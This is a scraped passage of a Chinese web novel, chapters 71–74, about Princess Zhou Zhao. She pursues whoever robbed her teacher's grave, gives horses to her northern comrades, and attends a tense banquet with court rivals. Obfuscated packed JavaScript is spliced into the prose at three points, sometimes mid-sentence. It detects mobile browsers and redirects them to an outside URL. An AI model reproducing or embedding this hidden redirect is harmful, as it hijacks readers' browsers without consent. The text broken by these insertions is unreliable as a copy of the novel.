三人进殿,周驰道:“我倒是记着从前国师说的一句话。” 周昭问:“大哥是说哪句?” 周驰踏上台阶,玩笑道:“国师说,小妹有圣祖皇帝之相。” 翌日一早,周昭请示过宣庆帝后便出了宫。 她没要轿辇,戴了支斗篷跨上狼牙往南行。不多时,便来到苍界山底下。 这山跟她当年初次来时一模一样,前夜突然下了场让人牙根打颤的雪,山间雪难消,松柏依旧经年苍翠。 周昭缓步上行,雪后山路并不好走,双脚很快沾满泥泞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周昭自打听到江梅棠离世的消息,心头便豁开了一道口子,每每想起便要流出血来,她只能强迫自己不去想,才让那口子有时间一点点长好。眼下周昭看见江梅棠的坟,本以为愈合的伤口蓦地重新豁开,疼得她牙齿都微微打颤,腿也像千斤重。 略停了阵子,依稀见那松柏遮挡之后的坟墓旁边似乎有人影在动。 “谁在那儿?”周昭试探道,“长淮吗?” 人影停下不动,没有回应。 周昭觉得不对,三两步往前奔。她这一动,那团人影却比她动得更快,倏地一下跳进坟墓后面不见了。周昭一边追一边叫道:“谁!” 周昭刚奔至坟墓前,瞧上一眼,只觉眼前一黑,血气翻滚—— 江梅棠的坟显然是被刚刨开,土还是新的,棺材里面却空空如也。 犹如五雷轰顶,周昭刚才出的汗一下子凝成冷气直往她身上钻。 周昭扑通一声在坟前跪下,快速磕了个头,舌尖都快咬破了,低声道,“您等等我。” “站住!” 周昭往刚才那人消失的方向追去,她跑得飞快,激起林间一片飞鸟悲鸣,积雪跟着簌簌地掉下来,一时间仿佛山林低啸。 那人偷走师父的尸体要干什么? 周昭心乱如麻,恨不得抓住那盗墓贼一刀砍了! 她越追越快,却只闻鸟叫不见人影。 追出一段,树后黑影一闪而过,周昭一个飞身扑上去,将那罪魁祸首按倒在地。 山雪本就虚虚实实,两个人的重量压下来,竟是一个后仰双双向山底下滚去。 枝叶草木接踵而至,不是往脸上划就是往身上刺,周昭顾不得痛,往下摔还记着伸手把那人一把抓住。她这一抓不要紧,谁知那盗墓贼非但不挣脱,反而双臂一伸将周昭紧紧环抱住。 放肆! 苍天有眼,几个翻滚之后那人一声闷哼,后背狠狠撞在一根大槐树上。周昭趁机翻身压在他身上,掐住那人脖子喝道: “说!我师父在哪儿!” 71. 第 71 章 那是一张年轻而又眼熟的脸,周昭一时记不起哪里见过,更不要说她现在怒气冲天,哪里会再去想这人是谁。 她手下力道更重,强忍住才没有把这人干脆掐死,又问:“我师父、你把我师父……” “尸身”二字在舌尖打了个转儿,周昭咬牙切齿说不出话,那人脸色涨红,喉咙间挤出几个字:“殿、殿下……” 周昭手下松了松,那人终于能开口说话:“殿下,你抓错人了,我、我不是……” 这人虽然被她按着,浑身上下就一件单衣,没有其他藏东西的地方。再看他的手指,指甲干干净净,没有痕迹。 其实周昭刚才一按住他便发现了,心里却不愿承认,厉声道:“不是?你鬼鬼崇崇在这儿干什么!” 对方脸上露出一丝尴尬,周昭盯着这张脸,忽然记起来在哪见过的,犹疑问道:“你是......两年前往雪松山送信的人?” 对方不说话,周昭却愈发肯定。两年前,她和长淮在边境碰见一个朝他们射箭的少年,周昭正是替这少年往雪松山送信,才结识霍将军留在了北疆。 周昭终于缓慢松开他,将少年从地上拉起来,目光却仍然带着几分怀疑,问道:“你在这儿干什么?没跟长淮回黎国吗?” 少年冷哼一声,语气不屑道:“我跟他去黎国干什么……” 确实是那少年。 少年看了眼周昭,说道:“谢景来盛都没多久就走了,我没地方去,就求了方丈留在苍界山。刚才听见山上有动静,以为出什么事儿了,所以上来看看。” “哦,原来是这样。”周昭目光如炬,怀疑道,“很能说得通,但你忽略了一件事儿。” 少年抬眸不解,周昭道:“你刚才脱口而出‘殿下’,你怎么认得我是谁?两年前,我从未表明身份。” 少年愣了一瞬,随即信心满满道:“殿下,寺庙神女殿里,我日日去看那神女画像,自然认得你。” 这回轮到周昭愣住,反问道:“什么神女?” 少年道:“神女殿,殿下从前山来没看见吗?盛都百姓感念殿下解了瘟疫,特意在苍界山修了座神女殿,也就是今日雪大了些,人不如晴天多。” 周朝崇拜人皇,苍界山历来供奉的都是各朝各代的皇帝,譬如香火最盛大的自然是开国皇帝周武。 周昭万万没想到,自己年纪轻轻就被抬进神殿供着,一时惊讶不已,面皮微红,总觉得不是好事,右眼皮跟着直跳。 少年仍在滔滔不绝,周昭忍不住道:“别说了。” 少年便听话不说了。 抓错了人,江梅棠的尸体就这么消失了。周昭坐在这半山腰,上也不是下也不是,茫茫雪山不知何处去寻那盗墓贼,叹了口气,只能死马当活马医,抱着最后一丝希望问道:“你上山路上有没有见到生人?” 少年摇头道:“不曾,我上山只碰见殿下。” 他很委婉地用了“碰见”二字,丝毫不提周昭抱着他在山坡上滚了一圈,骨头都险些碾碎,周昭神情落寞,道歉说:“对不起,我刚才认错人了。” 她转身离开,少年却亦步亦趋跟在她身后。周昭停下脚步,耐着性子道:“跟着我做什么?” 少年一本正经道:“你是神女,我想跟着你。” 周昭阵阵头痛,无奈道:“我不是什么神女,你别跟着我了。” 少年却不肯,周昭心里难受不想多说话,于是任由他跟着。 都说上山容易下山难,周昭一步步又往上走,觉着上山也并不容易。 周昭常年习武,身后少年却走得气喘吁吁,周昭回头拉他一把,问道:“我记得你是叫裴砚,对吗?” 少年答道:“嗯。” 周昭略一点头:“今年多大了?” 裴砚回答:“二十了。” 周昭没戳穿他,二人继续往前走,到了坟前,裴砚小心翼翼道:“殿下,你跟你师父感情很好吗?” “很好。”周昭跪在坟前,从斗笠旁边的包裹里拿出一支梅花来,这花是今天早晨宫里刚开的,本来是想带来给江梅棠看看。 周昭将花放进空空荡荡的棺材里,一点点捧着黄土将坟墓重新埋了,裴砚见她如此,也跪在旁边堆土。 二人不大会儿便重新堆了座坟,周昭郑重地磕了三个头,暗暗许诺一定要把师父找回来。 下山路上,远远看见槐树上落着星星点点几团雪,走近了才发现是开出的白花,周昭怀疑自己记错,问道:“裴砚,你上山时这些槐树是开着花吗?” 裴砚摇摇头:“跑太快,记不清了。” 周昭欲伸手,裴砚却出言制止道:“殿下别碰。” 他解释道:“槐树春夏开花,没见过大雪天开花的,说不定是槐树成了精,碰不得。” 周昭看少年板着面孔一本正经,却不以为意,摇摇头道:“这如果真是槐树精,那也是听着山中诵经声长大的,我想不会伤人。” “殿下,不是所有事情都像你想得那么好。” “是吗?”周昭勉强露出笑来,“师父总教我人性本善,我想精怪也是一样吧。” 到了山脚下,周昭戴上斗笠望向皇城方向,问道:“裴砚,你见过我师父吗?” 裴砚点头道:“见过的。” 周昭眸光略微闪烁,淡淡道:“……你愿意跟我进宫吗?” 周昭回宫第一件事儿,就是将国师墓被盗一事上报宣庆帝。宣庆帝震惊之余勃然大怒,将这案子交给禁军,并点名要安宁王查。 周昭万没想到是这样的结果,此事落到周澈耳朵里,他却不甚在意,作画的手未停,说道:“既然是制衡,总要旗鼓相当,看来父皇是打定主意,要把我往那个位置推几步。” 周昭往日总喜欢看周澈作画,今日却没心思,反倒是跟她一同来的裴砚兴致勃勃,说道:“这画的风格,跟我在苍界山看到的很像。” 周澈回头笑着说:“你也懂画?” “不大懂,只是看得多。” 周澈又往画上添了一笔,道:“我猜你说的是苍界山上国师作的画吧,从前有幸得国师指点几次,所以乍一看笔墨间风格相似,却是不敢同国师相提并论的。” 周澈琴棋书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894140|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画无一不精,却性格谦逊不骄不躁,周昭看他这幅气定神闲的模样,也跟着冷静下来,说道:“皇兄,我跟你一块儿查。” 周澈点点头,惋惜道:“国师神仙般的人,可惜早逝。” 这话又提起周昭的伤心事儿,略坐了会儿便走了。那时周昭问裴砚想不想进宫,一是看他一人孤苦无依无靠,二是存了份私心,想借着裴砚的口多听听江梅棠这两年是怎么过的。 裴砚善解人意,回昭阳殿的路上专挑苍界山上的趣事儿讲,先说道谢景当年独自回来被江梅棠好一通罚,又说江梅棠常往北疆写信。 周昭听得一会儿高兴一会儿伤心,裴砚便不说了,问她:“殿下,霍将军来盛都,什么时候又要走?” 周昭回过神来,答道:“过了十五就走,你若想跟霍将军一同回北疆,我过两天带你去见他。” 周昭本以为裴砚肯定是要回去的,谁知对方却摇头道:“不了,我在北疆也没有亲人,跟我一同参军的人那年都死了,我不想回去。” “你不想跟着霍将军吗?他是个好将军。” 裴砚自嘲道:“霍将军哪里认得我是谁,我想跟着殿下,殿下去哪儿我就去哪儿。不过......如果有机会,我想见见霍将军。” 他言辞并不过分热切,前半句跟后半句倒像是两个人说出来的。周昭恍然想起当年裴砚让她带的话,微笑道:“好吧,那明日你先陪我去个地方。” 周昭说的地方,是宫里的驯马司。 驯马司说白了就是养马的地方,宫里的马每一匹都是良种,尤其是那些名贵马驹,是专门拿来配种的。 裴砚大概是没见过这么多好马,连连赞叹。周昭道:“我有一个北疆认识的朋友,我想选匹马送给他,帮我挑挑?” 裴砚眨着眼睛问道:“谁这么大福气?” 他转身去挑马,沿着马棚走了几步,问道:“有的马脖子上挂着牌子的,是为什么?” 驯马官回答道:“那是宫里的贵人提前订的马驹子,留在咱们这养着,等出了栏要送出去的。” 裴砚哦了一声,见一连好几匹马脖子上都挂着一个“驰”字。裴砚听周昭说这马是要送给一位朋友,挑起来心不在焉,走到最后随便挑了一匹黑马。 等他牵出来,周昭身后也跟着两匹骏马,一黑一白漂亮极了。 周昭看向裴砚身后,问道:“选好了?” “选好了。” “就是它?” “嗯,就它了。” 虽然那马也是良种,但毛色略微杂了些,左眼一团乱七八糟的白毛,不如其他的马通体乌黑发亮,更不如周昭身后那两匹马漂亮。 周昭只当他真心喜欢,从驯马官手里接过马鞭,递给裴砚。 裴砚凝眉不解,周昭笑说:“那日我在山上撞了你,这马就当赔罪。” 裴砚脸上表情一时间十分精彩,指着周昭身后一黑一白问道:“那两匹马是……” “啊你说那个,我有两位远道而来的朋友,这两匹马是送给他们的。”周昭道,“也是北疆来的,说不定你们见过。” 72. 第 72 章 燕飞跟赵六子正闲得无聊,商量着晚上去哪家馆子里吃酒,却听得一声通报说公主殿下来了。 二人对视一眼,迎上去。 赵六子总是忘祝鸢就是明鸢殿下,远远地招呼道:“阿鸢!” 燕飞在他膝弯不轻不重踹了一脚,跟着跪下道:“殿下。” 赵六子冷不防被踹得跪倒,待他反应过来才知自己叫错人,连连懊悔,又觉得周昭不会怪他,于是仍咧嘴笑道:“殿下。” 周昭扶他二人起身,又说今后不必再行礼。 赵六子满口应了,燕飞却低着头不敢看她,自言自语道:“那怎么行......” “怎么不行了?”周昭走到廊檐下解了斗篷,一张脸被风雪吹得鼻尖泛红,“我还是我,没变的。” 燕飞嘟囔道:“怎么没变......” 这回轮到赵六子踹他,骂道:“磨叽啥!阿鸢说没变那就是没变!” 裴砚自门外进来,刚好听到这句,看赵六子的眼神带了几分敌意。赵六子浑然不觉,走近问道:“这是哪位小兄弟,以往没见过。” “他叫裴砚。”周昭诧异道“你们没见过吗?他也是北疆的兵,我当年送往雪松山的那封信,原本就是替裴砚送来的。” 赵六子又打量几眼:“俺没见过,燕飞,你见过没?” 燕飞自上而下道:“将军手底下那么多兵,咱总不能什么杂七杂八的人都见过吧。” 裴砚毫不理会,走到周昭面前道:“殿下,你的马安置好了。” 周昭语气温和道:“他们平日说话就这样,你别见怪。” 又转向燕飞,说道:“燕大哥,你不是说等进了城要把狼牙借去玩两天吗?我左等右等,不见你来,只好亲自送来了,不去看看吗?” 周昭虽然叫他一声燕大哥,实际燕飞比她大不了多少,还是个贪玩的毛头小子。 燕飞眼底微动,赵六子抢先道:“阿鸢,别借给他!他骑不来那宝贝!” 燕飞伸着脖子反驳道:“谁说我骑不来!” 没坐一会子又要出门去看马,周昭刚行了两步,裴砚抱着斗篷追上来:“殿下,外头冷。” 周昭不愿穿,推脱道:“不碍事,去看看就回来。” 裴砚也不说什么,没把斗篷放回去,就这么抱着跟在三人身后。等到了马厩见着那几匹良种马,燕飞眼睛都看直了,连连叫道:“好马!” 他一眼相中那匹通体雪白的马,又是摸头又是贴面,爱不释手。 赵六子亦神采斐然,惊喜不已,问道:“阿鸢,这些都是你带来的?” 周昭点头道:“当初迫不得已隐瞒身份,实在非我故意欺瞒,今日特来给二位兄长赔罪。这马你们可喜欢?” 赵六子本就没那么在乎周昭是公主这件事,燕飞心中那点儿芥蒂也因为这马飞到九霄云外去了,异口同声道:“喜欢!” 燕飞牵了白马出来,翻身跃上马背,兴致勃勃道:“殿下,往日在北疆赛马,我总输给你,今天乘此机会,不如我们再比一场,如何?” 赵六子骑着那匹黑马,闻言附和道:“好,好极了!” 马厩里只剩一匹孤零零的黑马,赵六子叫道:“这马是谁的?怎么一只眼白一只眼黑,是个杂种!” 裴砚下巴微抬,说道:“我的,怎样?” 赵六子哈哈笑道:“兄弟对不住,你这马虽然也好,但是不如俺的。” 赵六子胸无城府,并非刻意夸耀,周昭知他脾性,不由笑着说道:“裴砚,我们出城玩玩儿,一同去吗?” “快些,再晚城门就关啦!” 那边燕飞已经急不可待挥着马鞭往城门方向去了,赵六子叫道:“燕飞,等等我!” 此时雪后初晴,北风微冷,虽不是赛马好时节,却是少年正当时。 城外四匹烈马宛如四道闪电,远处山坡夕阳徐徐落下,马鞭挥动,四人策马奔腾,一齐追赶那道越来越低的霞光而去。 燕飞拔得头筹,马鞭在手里挥舞道:“阿鸢!六子!我赢啦!这回是我赢啦!” 燕飞满头是汗,一时忘了改口,身下白马亦被染上一层淡淡的晚霞,笑声在天地间回响不断。 赵六子笑骂道:“俺跟阿鸢让你一回,你还得瑟上了?” 周昭也跟着笑起来,越笑越大声,笑到最后一股莫名的悲凉涌上心头,她想到江梅棠,也想到宫里,不由阵阵落寞。 裴砚追上来,小声道:“殿下,你不高兴?” 周昭摇摇头,感叹道:“......朝花夕拾,良辰难再。” 赵六子没听明白这话的意思,问道:“阿鸢,还有几日我们就回北疆了,你会跟我们一道走吗?” 燕飞骑着白马,眼里闪着亮光,说道:“阿鸢,盛都虽好,不及北疆天大地大,跟我们回去吧!” 周昭笑而不语,心道:“且不说父皇准不准我再去北疆,师父还没找到,我岂能一走了之。” 赵六子却不懂周昭心事,一个劲儿地劝周昭,又道:“孟舒那股子鬼兵邪气的很,咱们虽然胜过一回,保不齐哪天又卷土重来。” 裴砚捧着斗篷递来,闻言道:“鬼兵?” “嗯,那些鬼兵银甲覆面,难杀得很!”赵六子望见裴砚手里的斗篷,哈哈大笑道,“小兄弟!你不会一直抱着这件沉甸甸的斗篷吧?” 裴砚假装没听见,说道:“殿下,山上风大。” “好裴砚,难为你还想着我。”周昭出了汗正发冷,斗篷往身上一披果然好些,燕飞忍不住道:“阿鸢,你从哪儿找来这么个体贴的小丫鬟?” 周昭制止道:“燕大哥,别这么说。裴砚,你愿不愿意跟他们回北疆去?那儿比盛都好。” 赵六子也道:“是啊小兄弟,燕飞虽然嘴臭了点,但俺们一定好好照顾你。” 裴砚却道:“北疆太远了,我不喜欢。” 周昭听他这么说,也不勉强。 冬天日头短,等夕阳过去便要天黑,四个人歇了会便又往回走。回 去的路上自然没有来时那么快,他们年纪差不多大,说起话来无所顾忌,没说几句又聊回霍将军。 燕飞道:“霍将军上山去啦。” 周昭问道:“什么山?” 燕飞神神秘秘道:“阿鸢,这你就不知道了吧,将军是去看相好去了。” 赵六子先是忍不住嘿嘿笑了两声,又板着脸道:“燕飞,你小心让将军知道抽你一顿!” 原来,霍璋在盛都有位青梅竹马,二人一同长大情谊深厚,据说那位小姐苦等霍璋多年,没等到霍璋从北疆回来,那小姐先病死了。每年霍 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赵六子挠挠脑袋,解释道:“那都是很多年前的事儿了,那时候我跟燕飞还没入营。听说兰将军对咱们霍将军一见钟情,从盛都追到北疆,后来霍将军松了口,本来二人都要拜堂成亲了……后来不清楚怎么回事儿又闹掰了,两个人一南一北,十多年都没见过面。” 燕飞一指皇城,道:“还能因为什么,不就是因为那埋在山上的小姐吗?兰将军当年也是烈性女子,听说亲手撕了喜服,从北疆跑到南疆,跟霍将军老死不相往来了。” 再往前走就是城门,关于霍璋这段往事不便再提。 翌日清晨,周澈一早便来昭阳殿寻周昭,说盗墓贼抓到了。周昭急忙问道:“抓着了?在哪抓着的?” 周澈说道:“告示刚贴出去没多久,那小子心里害怕,一早投案自首来了。” 周昭一颗心悬而未决,连声问道:“人在哪儿?师父......师父找着没有?”周澈微微蹙眉道:“人我已经审问过,他说去山上只是为了盗些财宝,没见着国师圣体。” 周昭失魂落魄跟周澈出了昭阳殿,她见着那盗墓贼,心中已了然。那人生了张贪生怕死的脸,见了他俩又是磕头又是赔罪,反复说自己确实去了趟苍界山,但翻开坟里面什么都没有。 “二位大人饶命!小的当真一个字儿都没拿,更不知道那就是国师大人的坟,小人要是知道,借我一百个胆子也不敢去挖坟呐!” 周昭大失所望,又不死心,问道:“你说你什么都没拿就下山了?也什么都没看见?”盗墓贼应声答道:“小的不敢撒谎!” 二人自狱中离开,周昭摇头道:“我那日在山上碰见的黑衣人不是他。”周澈道:“既然不是,国师的圣体就还有找到的机会,小昭,你别太难过了。” 周昭走得缓慢,叹息道:“我想不明白,师父在世时为人淡泊,与世无争,却落得如此下场。” 虽然江梅棠的尸身下落不明,但宣庆帝却很高兴周澈这么快就抓到了盗墓贼,对其大加封赏,连沉寂多年的南衙十六卫都入了皇帝的眼,赏赐颇丰。 没过几日,昭阳殿就收到一封请柬,是禁军总督沈博安送来的,邀请周昭明日于莲花楼赴宴。 73. 第 73 章 周昭打发了送请柬的人,裴砚不屑一顾道:“什么观宝会,听着就没意思。” 裴砚不愿离开盛都,周昭本想给他寻个什么差事,但裴砚说自己生性不爱官场,不如在昭阳殿当个侍卫轻松自在。 裴砚这么说,流筝却兴致颇高,说道:“公主,我听小喜说这帖子五殿下也收到了,不如咱们跟去瞧瞧是个什么宝贝。” 周昭放下帖子,道:“五哥前脚受了封赏,后脚沈家的帖子就送来了,哪有这么巧的事儿?” 流筝问道:“公主,您说五殿下会去吗?” 周昭道:“五哥刚入禁军,想来不好不去。” 第二日晌午,等周昭跟周澈到了莲花楼,见外头停着不止一辆马车。 周澈淡淡道:“看来今日要碰见熟人了。小昭,咱们进去罢。” 今日天气阴沉,不大晴朗,北风刮得紧。 周澈依旧是一身白,身上霜色大氅拢得严严实实,腰间只悬了块碧色流苏玉佩,怀里则捧着只精巧的鎏金暖手炉。 周昭外头拢着件雪狐裘,里面还是单衣,锦袍绣着胭脂红缠枝梅纹,走起路来倒像是雪中红梅浮动。 二人一同入楼,早有小厮来接,见着这一对冰雕雪琢的兄妹不由低下头,生怕亵渎了贵人。 上了二楼,远远听见笑声阵阵,小厮躬身挑了帘,周昭弯腰进去,闻到一阵扑鼻幽香。 笑声断了一瞬,沈博安望过来,拱手笑道:“五殿下,公主殿下,等你们多时了。” 平南王坐在主位,冲他二人微微点头。 靠窗位置的人一身窄袖劲装,手里酒杯刚放下,冲周昭略一挑眉,招呼道:“殿下也来了。” 周昭倒不意外大哥也在,但见着霍璋就很意外了。 霍璋从小是在盛都城军营里混大的,城中兄弟朋友无数,前日周昭还听燕飞说,霍将军去南衙找一位统领喝酒,且不说南衙羽林军跟沈博年的北衙禁军水火不容,光是二人朝堂上针锋相对,如今霍璋也在席间就足以让人生疑。 更意外的是折杞居然也在其中,站起身冲她微微一笑。 周昭点头示意,挨着霍璋,周澈也寻了空位坐下。同席的还有一人周昭并不眼熟,是个身材瘦长的中年男子,颧骨突出,嘴唇极薄,虽然脸上堆着笑,却给人一种不大舒服的面相。 对方迎上周昭目光,眼珠子不安分地转了转,笑道:“二位殿下,下官北衙统领陈子明。” 沈博安举杯笑说:“刚才咱们说到哪儿了?” 桌上铜锅煮得正欢,雾气缭绕中,霍璋跷起半条腿,似乎要看沈博安憋出什么话来,散漫道:“说到沈大人家里那位美妾。” 沈博安大笑,连连摆手:“那便不再说了。行野要是有兴趣,改天沈某单独……” 他挤眉弄眼,霍璋垂着眼似笑非笑,周昭心里纳闷,不知霍璋什么时候跟沈博安有的交情,却听沈博安又道:“听说行野前几日又去看卿卿了?” 霍璋眼底划过一丝郁郁,沈博安叹气道:“这么多年了,卿卿要是还在……” 周昭绕不清其中关系,周驰侧身道:“小妹,你忘了沈总督也有个妹子,叫沈卿卿的。” 周昭恍然大悟,心想:“原来霍将军的旧时好友,就是沈博安的妹子,怪不得今日霍将军也会出现,天下竟有这样巧的事儿。” 周昭转念一想,盛都城绕来绕去不过这么些人,也不算奇怪。不过那日宫宴上沈博安针锋相对,现在反倒叫得亲热。 她初入朝堂,只知道这里头水深,却不知道有多深。就像小马驹过河,还没到一脚踩着水底的火候。 霍璋低着头喝酒,沈博安问他几时又要走。霍璋道:“快了,围猎之前就走。” 沈博安道:“这回一走,什么时候再回来?” 霍璋自斟自饮,漫不经心地回答:“再说吧。” 周驰淡淡一笑,问道:“霍将军,听说你那副将在赤霞关立了大功,怎地没见带回盛都求个封赏?” 霍璋的副将就是周昭,周驰明知故问,霍璋怎能不知其中利害关系,答道:“殿下,臣的副将没见过盛都这大场面,不好带来。” 周驰又问:“哦,那过几年呢?” “……”霍璋饮了口酒,才道,“盛都太大,不自在。臣不回来,臣那副将自然也不回来。” 周昭听得一清二楚,心知霍璋是为她日后在盛都立足存心退让,她到底年轻气盛,不由道:“北疆苦寒,不如盛都繁华迷人眼。将军若一去不回,您手下的兵,岂不是天天都要唱乡曲儿了?” 周驰转向周昭,道:“小妹更喜欢盛都?” 周昭微笑道:“大哥说哪里话,小妹不是一直待在盛都吗?” 沈博安大口嚼肉,有意无意说道:“我听说,那日行野回城,阵中有个小将长得颇像公主殿下。” 周澈笑说:“长得像的人多了去。” 周澈吃不惯满桌牛羊肉,他身子不好,吃多了这些夜里很难睡,沈博安连这点都想到了,单独在他面前支了一只小锅烫菜,都是些冬天不容易见到的新鲜菜。 “的确,我看五殿下就跟公主殿下像极了。”沈博安亲自为周澈布菜,又揶揄道,“五殿下刚上任就抓着了盗墓贼,平日藏得够深呐!” 在座除了霍璋常年不在盛都,其余人都知道周澈从不过问政事,落到沈博安嘴里却用个“藏”字,说者不一定无心,听者皆是有意。 周澈微笑道:“是个无关紧要的小贼,不算抓到。” 沈博安冲着皇宫方向拱手一拜,道:“陛下说抓到了,那就是抓到了。国师也是可怜,这才入土几个月……不过,沈某听说国师原是个术士,我大周不兴修道,想必生前有什么同类仇家也说不定。” 江梅棠生前虽不常入朝堂,却分量不轻,颇受宣庆帝倚重,惹来不少眼红嫉妒。他住在苍界山十几年,唯一被人诟病的就是术士的身份。 周昭忍不住反驳道:“师父才能通天彻地,修行又不是见不得人的,沈总督何必拿这个说事儿。” 沈博安看向周昭,连连道歉:“是沈某忘了,公主殿下是国师教出来的学生。沈某记得,当年国师还有一位得意弟子……是黎国的那位……叫什么来着?” “谢景,是谢景哥哥。”坐在角落的折杞适时开口,沈博安一拍脑袋,“对!就是谢景殿下。听说他再过几日就要来盛都祭拜国师,就是不知道到时候国师墓里空空如也,怎么好跟黎国那小殿下交待……” “有什么好交待的。”周驰神情淡淡,言语带了几分隐隐的傲气,“黎国,巴掌大的地界。” “可……” 周澈不动声色地握了握周昭的手,她只好将舌尖上的话吞回去。 沈博安附和几句,无外乎是说大周国土辽阔千秋万代之类的奉承话,听得周驰十分享用。 霍璋喝够了酒,有几分坐不住,慵懒道:“博安,你今日把我们都叫来,不会就是听你扯闲篇吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902985|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “自然不是。”沈博安神秘一笑,压低声音道,“沈某近日新得了一件宝贝,特意拿来给诸位看看。” 霍璋挑了挑眉,似乎不太感兴趣。 周驰亦没有说什么,折杞怕冷了场子,便问:“什么宝贝,如此神秘。” 沈博安斜着眼一瞥,淡淡道:“等会儿就知道了。” 沈博安语气远没有对其他几人那么热切殷勤,折杞面上微微尴尬,沈博安轻轻拍掌,隔间的门缓缓打开,他兴奋道:“诸位,请赏宝!” 两个小倌抬着一张贵妃榻走进来,只觉室内顷刻间阵阵幽香扑鼻。 那榻上铺着一张洁白丝滑的绸缎,轮廓起伏分明,绸缎底下露出一双小巧莹白的脚。 再一细观,原来绸缎并非一整张,中间的位置掐了空,露出一截女子的纤腰来。 那腰身盈盈一握,不过巴掌大小,好似一段儿雪白的软玉,因此乍一看竟跟绸缎融为一体,故而未曾分辨。 肚脐处置着一枚足有鸽卵那般大的珍珠,却不是寻常珍珠,底色墨绿,色泽诡艳,配上那截软玉纤腰,说不出的旖旎靡靡之感。 周驰咂摸了一口酒,说道:“龙睛泪。” 沈博安抚掌笑道:“平南王殿下好眼力,正是千金难求百年难遇的龙睛泪!” 霍璋眯起眼睛道:“博安,你这盛宝的匣子……倒是新奇。” “开眼了,真是开眼了!”陈子明嚷道。 沈博安嘿嘿一笑,见周澈二人不曾言语,便开口问道:“二位殿下觉得,这宝如何?” 他走近贵妃榻,将那蒙面白纱轻轻掀开一角,虽只露出一个侧脸,也能窥见那榻上女子容颜不俗。 周昭毫不客气地直言道:“若装在珠匣内,那便是好宝贝。” 言下之意是你什么上不得台面的伎俩,也敢将我们请来观宝。 沈博安促狭道:“公主殿下年纪还小,赏不来亦是情理之中,五殿下……觉得如何?” 周澈站起身,拿起挂在一旁的大氅,往那榻上轻轻一放,遮住那截裸露的纤腰和绸缎之下女子微微颤抖的身体,微笑道:“好冷的雪天。” 沈博安露出笑来,道:“五殿下若是不喜欢雪天赏宝,我即刻让人送到殿下宫里,殿下自可慢慢欣赏。” 搞了半天在五哥身上打主意。 周昭心中不快,正要反对,霍璋放下夹肉的筷子,挑眉笑道:“博安,这就是你的不对了。在座这么多人,怎地偏往五殿下宫里送?莫非你是看不上我霍璋,还是看不上平南王?” 沈博安冷冷地反击道:“行野,我倒是想给你送,就是怕今日送了,明日兰将军就带着大军杀到盛都来。届时不光是你,怕是我沈某人也要送命。” 霍璋本是好意替周澈解围,不料沈博安提起南疆那位,冷笑道:“博安,你最好是把这话原封不动地在令仪面前说一遍,我谅你是条好汉!” 他说完霍然起身,就这么推门走了。 沈博安没料到霍璋这一甩脸子,谁的面子也不给,脸上挂不住,哼了一声,自言自语道:“我有本事说,也得你霍行野有本事听才行!” 铜锅里的牛羊肉煮的正沸,汤上起了层白沫子。 霍璋这一走,周昭正好拉着周澈匆匆离席。折杞紧随其后,借故离开。 等人都走了,不消沈博安使眼色,陈子明亦十分知趣的退下了,沈博安这才恭敬道:“殿下说得对,这宝贝入不得五殿下的心。” 74. 第 74 章 平南王沉默不语,夹了筷子肉放进沈博安的碗里,淡淡道:“沈大总督,我看这肉,还是你自己吃吧。” 沈博安已经吃得够多,但平南王给他的那就是赏赐,吃不下也得吃。 他苦不堪言,勉强吃了几口,试探道:“殿下,公主殿下今年才十七岁,就算去了两年北疆立了军功,但这军功不明不白,挂的是另一个人的名头,陛下也不好明着赏赐。何况就算公主殿下再聪明,也只是个女子……” 平南王语气不喜不怒,道:“沈大人这么聪明,怎么不把自己也端进苍界山让人供奉着?” 沈博安不以为意道:“百姓无知,受了那妖道国师蛊惑。如今国师一死,只要将公主殿下困在宫里,臣以为,掀不起什么风浪。” 平南王不置可否,又夹了一碗肉放在沈博安面前,沈博安连忙闭嘴,不敢再说。 外头果然飘起小雪来,周澈随身披着的大氅留在了莲花楼里,雪落在身上沁着骨子冷。 霍璋便随手解了自己的捧给周澈,说道:“五殿下若不嫌弃,就用臣这件御寒吧。” 他这么说,周澈不好推辞,微笑道:“多谢霍将军。” 霍璋浑不在意,他穿得少,在雪地里却浑不觉得冷,对周昭道:“殿下方才席间不该说那样的话。” 周昭道:“将军也不该为我向大哥承诺不回盛都,亦不该为五哥驳了沈总督一番‘好意’。” 霍璋爽朗一笑,道:“殿下还是这般伶牙俐齿!” 说罢,他长腿一跨纵身上马,一看便知是在疆场上滚了多少年的功夫。 见他英姿勃发,周澈拢着暖炉不无羡慕道:“有机会,我也想去北疆看看。” 霍璋笑说:“五殿下若来,臣一定带殿下去看看北疆的雪山。” 他策马离开,渐渐消失在街道尽头。 周澈收回目光,接着刚才霍璋的话说:“小昭,有句话叫木秀于林,风必摧之。” 周昭知道周澈是在说她席间几次三番“出言不逊”,她不是什么不懂的小孩子,可任凭再懂,少年心气在那儿摆着,让她学会圆滑还为时尚早。 “……五哥,”周昭看了眼这只比她大两岁的哥哥,好奇道,“你是怎么忍住不骂沈博安的。” 周澈笑得眉眼弯弯,什么话都没说,摸了摸周昭的头。 周昭突然哎呀一声,周澈问道:“怎么了?” 